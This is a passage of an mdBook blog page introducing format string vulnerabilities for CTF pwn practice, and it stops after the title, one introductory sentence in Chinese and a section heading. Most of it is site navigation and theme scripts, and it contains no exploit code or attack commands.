<!DOCTYPE HTML>
<html lang="en" class="sidebar-visible no-js coal">
    <head>
        <!-- Book generated using mdBook -->
        <meta charset="UTF-8">
        <title>PWN Format String Vulnerability - Andrew&#x27;s Blog</title>


        <!-- Custom HTML head -->
        
        <meta name="description" content="Andrew Ryan&#x27;s Blog">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="theme-color" content="#ffffff" />

        <link rel="icon" href="../../favicon.svg">
        <link rel="shortcut icon" href="../../favicon.png">
        <link rel="stylesheet" href="../../css/variables.css">
        <link rel="stylesheet" href="../../css/general.css">
        <link rel="stylesheet" href="../../css/chrome.css">

        <!-- Fonts -->
        <link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
        <link rel="stylesheet" href="../../fonts/fonts.css">

        <!-- Highlight.js Stylesheets -->
        <link rel="stylesheet" href="../../highlight.css">
        <link rel="stylesheet" href="../../tomorrow-night.css">
        <link rel="stylesheet" href="../../ayu-highlight.css">

        <!-- Custom theme stylesheets -->
        <link rel="stylesheet" href="../../src/style/custom.css">

        <!-- MathJax -->
        <script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
    </head>
    <body>
    <div id="body-container">
        <!-- Provide site root to javascript -->
        <script>
            var path_to_root = "../../";
            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
        </script>

        <!-- Work around some values being stored in localStorage wrapped in quotes -->
        <script>
            try {
                var theme = localStorage.getItem('mdbook-theme');
                var sidebar = localStorage.getItem('mdbook-sidebar');

                if (theme.startsWith('"') && theme.endsWith('"')) {
                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
                }

                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
                }
            } catch (e) { }
        </script>

        <!-- Set the theme before any content is loaded, prevents flash -->
        <script>
            var theme;
            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
            if (theme === null || theme === undefined) { theme = default_theme; }
            var html = document.querySelector('html');
            html.classList.remove('no-js')
            html.classList.remove('coal')
            html.classList.add(theme);
            html.classList.add('js');
        </script>

        <!-- Hide / unhide sidebar before it is displayed -->
        <script>
            var html = document.querySelector('html');
            var sidebar = null;
            if (document.body.clientWidth >= 1080) {
                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
                sidebar = sidebar || 'visible';
            } else {
                sidebar = 'hidden';
            }
            html.classList.remove('sidebar-visible');
            html.classList.add("sidebar-" + sidebar);
        </script>

        <nav id="sidebar" class="sidebar" aria-label="Table of contents">
            <div class="sidebar-scrollbox">
                <ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> Linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/Linux/git_cheatsheet.html"><strong aria-hidden="true">1.6.</strong> Git Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/Linux/bash_cheatsheet.html"><strong aria-hidden="true">1.7.</strong> Bash Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/macos/mac.html"><strong aria-hidden="true">2.</strong> MacOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/macos/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li><li class="chapter-item "><a href="../../posts/macos/macos_pwn_env_setup.html"><strong aria-hidden="true">2.2.</strong> macos pwn env setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> Swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in Swift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> iOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> Objective-C</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> Dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> Rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/how_to_create_yolov8_based_object_detection_web_service_using_python,_julia,_node.js,_javascript,_go_and_rust.html"><strong aria-hidden="true">7.25.</strong> How to create YOLOv8-based object detection web service using Python, Julia, Node.js, JavaScript, Go and Rust</a></li><li class="chapter-item "><a href="../../posts/rust/implment_builder_proc_macro_for_command_struct.html"><strong aria-hidden="true">7.26.</strong> implment Builder proc-macro for Command struct</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> Java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> Python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li><li class="chapter-item "><a href="../../posts/python/sanctum_model_yaml.html"><strong aria-hidden="true">9.5.</strong> sanctum model yaml</a></li><li class="chapter-item "><a href="../../posts/python/how_to_detect_objects_on_images_using_the_yolov8_neural_network.html"><strong aria-hidden="true">9.6.</strong> How to detect objects on images using the YOLOv8 neural network</a></li><li class="chapter-item "><a href="../../posts/python/use_huggingface_model.html"><strong aria-hidden="true">9.7.</strong> use huggingface model</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> Go</a></li><li class="chapter-item "><a href="../../posts/javascript/js.html"><strong aria-hidden="true">11.</strong> Javascript</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/javascript/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/javascript/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/javascript/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/javascript/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/javascript/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/javascript/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/javascript/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/javascript/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> Ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> React</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> Vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> Angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> Css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> Php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.</strong> Windows</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.1.</strong> Windows</a></li><li class="chapter-item "><a href="../../posts/windows/windows10_use_powershell_dedup_redundent_path.html"><strong aria-hidden="true">18.2.</strong> Windows10 use PowerShell dedup redundent PATH</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">19.</strong> Leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">19.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">19.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">19.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">19.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">19.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">19.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">19.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">19.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">20.</strong> CTF</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">20.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">20.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">20.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">20.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">20.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">20.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">20.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">20.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">20.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">20.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">20.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">20.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">20.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">20.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">20.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">20.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">20.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">20.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">20.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">20.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">20.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">20.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">20.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">20.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">20.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/zip_plain_text_attack.html"><strong aria-hidden="true">20.26.</strong> Zip plain text attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">20.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">20.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">20.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">20.30.</strong> PWN heap overflow</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/pwn_format_string_vulnerability.html" class="active"><strong aria-hidden="true">20.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">20.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">20.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">20.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">20.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">20.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/pwnable_kr_challenge.html"><strong aria-hidden="true">20.37.</strong> Solutions for pwnable.kr</a></li><li class="chapter-item "><a href="../../posts/ctf/the_periodic_table.html"><strong aria-hidden="true">20.38.</strong> The Periodic Table</a></li><li class="chapter-item "><a href="../../posts/ctf/pwntools_cheatsheet.html"><strong aria-hidden="true">20.39.</strong> Pwntools Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/gdb_cheatsheet.html"><strong aria-hidden="true">20.40.</strong> GDB Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/iltes/iltes.html"><strong aria-hidden="true">21.</strong> ILTES</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/iltes/iltes_writing.html"><strong aria-hidden="true">21.1.</strong> ILTES Writing</a></li></ol></li></ol>
            </div>
            <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
        </nav>

        <!-- Track and set sidebar scroll position -->
        <script>
            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
            sidebarScrollbox.addEventListener('click', function(e) {
                if (e.target.tagName === 'A') {
                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
                }
            }, { passive: true });
            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
            sessionStorage.removeItem('sidebar-scroll');
            if (sidebarScrollTop) {
                // preserve sidebar scroll position when navigating via links within sidebar
                sidebarScrollbox.scrollTop = sidebarScrollTop;
            } else {
                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
                var activeSection = document.querySelector('#sidebar .active');
                if (activeSection) {
                    activeSection.scrollIntoView({ block: 'center' });
                }
            }
        </script>

        <div id="page-wrapper" class="page-wrapper">

            <div class="page">
                                <div id="menu-bar-hover-placeholder"></div>
                <div id="menu-bar" class="menu-bar sticky">
                    <div class="left-buttons">
                        <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                            <i class="fa fa-bars"></i>
                        </button>
                        <button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
                            <i class="fa fa-paint-brush"></i>
                        </button>
                        <ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
                            <li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
                        </ul>
                        <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
                            <i class="fa fa-search"></i>
                        </button>
                    </div>

                    <h1 class="menu-title">Andrew&#x27;s Blog</h1>

                    <div class="right-buttons">
                        <a href="https://gitee.com/dnrops/dnrops" title="Git repository" aria-label="Git repository">
                            <i id="git-repository-button" class="fa fa-github"></i>
                        </a>

                    </div>
                </div>

                <div id="search-wrapper" class="hidden">
                    <form id="searchbar-outer" class="searchbar-outer">
                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
                    </form>
                    <div id="searchresults-outer" class="searchresults-outer hidden">
                        <div id="searchresults-header" class="searchresults-header"></div>
                        <ul id="searchresults">
                        </ul>
                    </div>
                </div>

                <!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
                <script>
                    document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
                    document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
                    Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
                        link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
                    });
                </script>

                <div id="content" class="content">
                    <main>
                        <h1 id="pwn-format-string-vulnerability"><a class="header" href="#pwn-format-string-vulnerability">PWN Format String Vulnerability</a></h1>
<p>首先，对格式化字符串漏洞的原理进行简单介绍。</p>
<h2 id="格式化字符串函数介绍"><a class="header" href="#格式化字符串函数介绍">格式化字符串函数介绍</a></h2>
